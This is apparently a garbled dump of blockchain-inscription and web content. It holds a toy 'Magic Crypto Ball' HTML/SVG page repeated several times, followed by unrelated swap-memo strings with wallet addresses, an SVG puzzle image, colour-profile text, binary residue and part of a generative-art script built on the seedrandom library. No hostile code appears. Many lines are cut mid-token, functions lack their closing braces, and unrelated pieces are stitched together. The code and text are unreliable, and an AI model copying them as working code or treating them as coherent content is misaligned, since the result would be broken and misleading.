				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
FjD=:ETH.ETH:0x7E7bD0e5b842d37f65151CE4F8F950C723754AD2:1393222676:t:30\
7j5ion:10.QmTpqt5LXviT5hURuScNDoovmUNuKpCUEGaxErhvFupcK84
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0059/4096 3,1,2,1,1 ~0.38780084485188127-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#9296A0" width="100%" height="100%"/>
<polyline fill="#F2F652" points="0,8 6,2 6,4 0,0 "/>
<polyline fill="#36EEE0" points="8,0 1,4 1,4 8,8 "/>
<polyline fill="#F652A0" points="8,8 6,4 6,4 0,8 "/>
<polyline fill="#36EEE0" points="0,0 5,2 5,4 8,0 "/>
(c) 2002 Adobe Systems Inc.
Grayscale - Gamma 2.2
CjA=:BNB.BNB:bnb16294mhn84y0fxy2t4mg92sxl9glulrr8ne6j0t:7239562:te:0
$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=
=)#)==================================================
KjI=:BNB.BUSD-BD1:bnb1wr4v0r4rc7l2gtl526lftmx5nn97dfkrlwymr3:2337013062:te:0
LjJ=:BNB.BUSD-BD1:bnb1evgygkwvcgmv2zf2wdj0ggtxv7j3fcpwukgcu5:40061543113:te:0
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
((((((((((((((((((((((((((((((((((((((((((((((((((
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
(c) 2002 Adobe Systems Inc.
Grayscale - Gamma 2.2
((((((((((((((((((((((((((((((((((((((((((((((((((
"!&+7/&)4)!"0A149;>>>%.DIC<H7=>;
;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 7089f3245c2742cfb1aad11188397d71G0D
text/html;charset=utf-8
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CONST GEN_LINES = XJA</title>
        box-sizing: border-box;
        display: flex;
        flex-direction: column;
        color: white;
        border: #ccc solid 1px;
        max-width: 1500px;
       display: flex;
        flex-direction: column;
        text-align: left;
        max-width: 90%;
        width: 100%;
        background-color: #4CAF50;
        border: none;
        color: white;
        padding: 15px 32px;
        text-align: center;
        text-decoration: none;
        display: inline-block;
        font-size: 16px;
        margin: 4px 2px;
        cursor: pointer;
        margin: auto;
        padding: 1em;
        display: grM
        justify-items: center;
        grid-template-columns: 1.5fr 1.5fr;
        max-width: 1500px;
        width: 100%;
        grid-gap: .3em;
        text-align: center;
        display: flex;
        flex-direction: row;
<body style="background: #000;">
        <div id="root">
            <!-- Injected Canva by index.js -->
            <!-- injected Img by index.js -->
<script id="seedrandom">
    !function (f, a, c) { M
var s, l = 256, p = "random", d = c.pow(l, 6), g = c.pow(2, 52), y = 2 * g, h = l - 1; function n(n, t, r) { function e() { for (var n = u.g(6), t = d, r = 0; n < g;)n = (n + r) * l, t *= l, r = u.g(1); for (; y <= n;)n /= 2, t /= 2, r >>>= 1; return (n + r) / t } var o = [], i = j(function n(t, r) { var e, o = [], i = typeof t; if (r && "object" == i) for (e in t) try { o.push(n(t[e], r - 1)) } catch (n) { } return o.length ? o : "string" == i ? t : t + "\0" }((t = 1 == t ? { entropy: !0 } : t || {}).entropy ? [n,M
 S(a)] : null == n ? function () { try { var n; return s && (n = s.randomBytes) ? n = n(l) : (n = new Uint8Array(l), (f.crypto || f.msCrypto).getRandomValues(n)), S(n) } catch (n) { var t = f.navigator, r = t && t.plugins; return [+new Date, f, r, f.screen, S(a)] } }() : n, 3), o), u = new m(o); return e.int32 = function () { return 0 | u.g(4) }, e.quick = function () { return u.g(4) / 4294967296 }, e.double = e, j(S(u.S), a), (t.pass || r || function (n, t, r, e) { return e && (e.S && v(e, u), n.state = function (M
) { return v(u, {}) }), r ? (c[p] = n, t) : n })(e, i, "global" in t ? t.global : this == c, t.state) } function m(n) { var t, r = n.length, u = this, e = 0, o = u.i = u.j = 0, i = u.S = []; for (r || (n = [r++]); e < l;)i[e] = e++; for (e = 0; e < l; e++)i[e] = i[o = h & o + n[e % r] + (t = i[e])], i[o] = t; (u.g = function (n) { for (var t, r = 0, e = u.i, o = u.j, i = u.S; n--;)t = i[e = h & e + 1], r = r * l + i[h & (i[e] = i[o = h & o + t]) + (i[o] = t)]; return u.i = e, u.j = o, r })(l) } function v(n, t) { rM
eturn t.i = n.i, t.j = n.j, t.S = n.S.slice(), t } function j(n, t) { for (var r, e = n + "", o = 0; o < e.length;)t[h & o] = h & (r ^= 19 * t[h & o]) + e.charCodeAt(o++); return S(t) } function S(n) { return String.fromCharCode.apply(0, n) } if (j(c.random(), a), "object" == typeof module && module.exports) { module.exports = n; try { s = require("crypto") } catch (n) { } } else "function" == typeof define && define.amd ? define(function () { return n }) : c["seed" + p] = n }("undefined" != typeof self ? self : thM
    function getRandomFloat(min, max, random) {
        return random() * (max - min) + min;
    function getRandomInteger(min, max, random) {
        min = Math.ceil(min);
        max = Math.floor(max);
        return Math.floor(random() * (max - min)) + min;
    function getColor2(previousColor, random) {
        if (previousColor) {
            const previousHue = parseInt(previousColor.split(",")[0].split("(")[1]);
        hue = (previousHue + 180) % 360;
            hue = random() * 360;
        const saturation = random() * 100;
        const lightness = random() * 650;
        return `hsl(${hue}, ${saturation}%, ${lightness}%)`;
    function getColor(value, random) {
        const hue = value % 360;
        const saturation = random() * 100;
        const lightness = random() * 350;
        return `hsl(${hue}, ${saturation}%, ${lightness}%)`;
    function createRandomComplementaryM
        const x0 = 0;
        const y0 = 0;
        const x1 = width;
        const y1 = height;
        const r0 = width;
        const r1 = height;
        const gradient = ctx.createLinearGradient(x0, y0, x1, y1);
        const color1 = getColor(block.difficulty % 256, random);
        const color2 = getColor2(color1.toString(), random);
        gradient.addColorStop(0, color1);
ient.addColorStop(1, color2);
        ctx.fillStyle = gradient;
        ctx.fillRect(0, 0, width, height);
        return gradient;
    window.addEventListener("mousemove", (event) => {
        mouse.x = event.x;
        mouse.y = event.y;
    class FlowFieldEffect {
        constructor(ctx, width, height, radius, random, block) {
            this.#ctx = ctx;
            this.blockM
            this.#random = random;
            this.#width = width;
            this.#height = height;
            this.lastTime = 0;
            this.interval = 1000 / 60;
            this.timer = 0;
            this.startTime = Date.now()
            console.log("RAND:", this.#random());
            // from block ->
            this.#ctx.lineWidth = this.#random() // 0.3 - 1.5;
            // from block
            this.radius = getRandomFloat(0.7, 1.5, this.#random) * Math.E; // radius; 0.7 - 1.5;
        console.log({ radius: this.radius })
            // from block
            this.cellSize = 5 + this.block.height % 80//getRandomFloat(4, 80, this.#random) ; // 4 - 80;
            this.gradient;
            this.#createGradient();
            this.#ctx.strokeStyle = this.gradient;
        #createGradient() {
            this.gradient = this.#ctx.createLinearGradient(0, 0, this.#width, this.#height);
            let color1 = getColor(this.block.time.valueOf() * Math.E, this.#random);
let color6 = getColor(this.block.nonce * Math.E, this.#random)
            let color2 = getColor2(color1, this.#random);
            let color5 = getColor2(color6, this.#random);
            //let color3 = getColor(this.block.difficulty * Math.E, this.#random);
            let color3 = getColor2(color2, this.#random);
            let color4 = getColor2(color5, this.#random);
            this.gradient.addColorStop("0.1", color1);
